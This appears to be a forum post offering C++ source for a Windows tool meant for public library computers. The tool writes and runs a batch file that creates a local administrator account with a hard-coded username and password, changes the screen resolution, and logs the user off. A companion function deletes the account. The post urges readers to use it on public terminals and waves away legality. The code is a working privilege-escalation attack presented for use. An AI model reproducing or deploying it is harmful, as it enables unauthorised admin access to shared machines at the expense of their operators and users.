if you're at public library, or in any public computer place for that matter, compile the code (C++) and drag the .exe to the desktop (of the public user account). Should create a local admin account: usrnm: qwerty passwrd: 123456 without previously having admin privledges.
You can do the same thing in a batch file this program just automates it and changes the screen resolution since my library uses a reaaally low screen res. The code's there to change the username/password just remove the comment tags.
As far as legality, you're on a public account in a public library, and at least at my library, there are no (at least not visable anywhere) TOC's you must agree too (most likely due to the fact that each computer has the image/registry restored on reboot and the image is stored on the server which you dont have access too) but ymmv, also this isnt really a hack, more a backdoor that's been perposely left open that you've stumbled upon.
- Code: Select all
//Library Local Admin- batch file exploit
#include <iostream>
#include <string>
#include <fstream>
#include <stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <wingdi.h>
using namespace std;
void createaccount();
void deleteaccount();
int x,i; //global counter variables
int main ()
{
begin:
string intro;
intro = "0";
cout << "***SUPFRESH***\n\n";
cout << ("WHAT WOULD YOU LIKE TO DO? \n(1)CREATE ACCOUNT \n(2)DELETE ACCOUNT\n");
cin >> intro;
if (intro == "1")
createaccount();
else if (intro =="2")
deleteaccount();
else if ((intro != "1") && (intro != "2"))
{
cout << "INVALID INPUT\n\n";
goto begin;
}
return 0;
}
void createaccount()
{
//creates and writes to the .bat file with user input
start1:
system("cls");
string usrname = "qwerty";
string psswrd = "123456";
string ans = "Y";
ofstream Adminfile;
Adminfile.open("C:\\admin.bat",ios::out);
//cout << "USERNAME: ";
//cin >> usrname;
//cout << "PASSWORD: ";
//cin >> psswrd;
Adminfile << "net user " << usrname << " " << psswrd << " /add \n";
Adminfile <<"net localgroup administrators " << usrname << " /add ";
//cout << "\n\nUSERNAME: " << usrname << "\n" << "PASSWORD: " << psswrd;
//cout << "\nCORRECT (y/n)? \n";
//cin >> ans;
if (ans == "N" | ans == "n" )
{
goto start1;
}
else
{
Adminfile.close();
ShellExecute(NULL,"open","C:\\admin.bat", NULL,"C:\\", SW_SHOW); //creates admin account
/****************changes display settings globally**********************************/
DEVMODE dvmd;
ZeroMemory(&dvmd, sizeof(dvmd));
dvmd.dmSize = sizeof(DEVMODE);
dvmd.dmPelsWidth = 1280 ;
dvmd.dmFields |= DM_PELSWIDTH;
dvmd.dmPelsHeight = 1024;
dvmd.dmFields |= DM_PELSHEIGHT;
dvmd.dmBitsPerPel = 32;
dvmd.dmFields |= DM_BITSPERPEL;
dvmd.dmDriverExtra = 0;
ChangeDisplaySettingsEx(NULL,&dvmd,NULL, CDS_GLOBAL | CDS_UPDATEREGISTRY,NULL );
/**********************************************************************************/
for (i=0;i<9999;i++){
for (x=0;x<19999;x++){} //counter to allow time for account changes before logoff
cout<< "...SUPFRESH...";
}
ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\logoff.exe", NULL,"C:\\", SW_SHOW);
}
}
void deleteaccount()
{
//deletes the user created admin account and revertes display change
start2:
system("cls");
string usrname = "qwerty";
string ans ="Y";
ofstream Adminfile;
Adminfile.open("C:\\admin.bat",ios::out);
//system("net user");
//cout << "USERNAME TO DELETE: ";
//cin >> usrname;
//cout << "ARE YOU SURE (Y/N)? \n";
//cin >> ans;
if (ans == "N" | ans == "n" )
{
goto start2;
}
else
{
Adminfile << "net user " <<usrname<<" "<<"/delete";
Adminfile.close();
ShellExecute(NULL,"open","C:\\admin.bat", NULL,"C:\\", SW_SHOW);
/*****************************restores display settings to default****************************/
DEVMODE dvmd;
ZeroMemory(&dvmd, sizeof(dvmd));
dvmd.dmSize = sizeof(DEVMODE);
dvmd.dmPelsWidth = 1024 ;
dvmd.dmFields |= DM_PELSWIDTH;
dvmd.dmPelsHeight = 768;
dvmd.dmFields |= DM_PELSHEIGHT;
dvmd.dmBitsPerPel = 32;
dvmd.dmFields |= DM_BITSPERPEL;
dvmd.dmDriverExtra = 0;
ChangeDisplaySettingsEx(NULL,&dvmd,NULL, CDS_GLOBAL | CDS_UPDATEREGISTRY,NULL );
/*********************************************************************************************/
for (i=0;i<9999;i++){
for (x=0;x<9999;x++){} //counter to allow time for account changes before logoff
cout<< "...SUPFRESH...";
}
ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\logoff.exe", NULL,"C:\\", SW_SHOW); //logoff
}
}





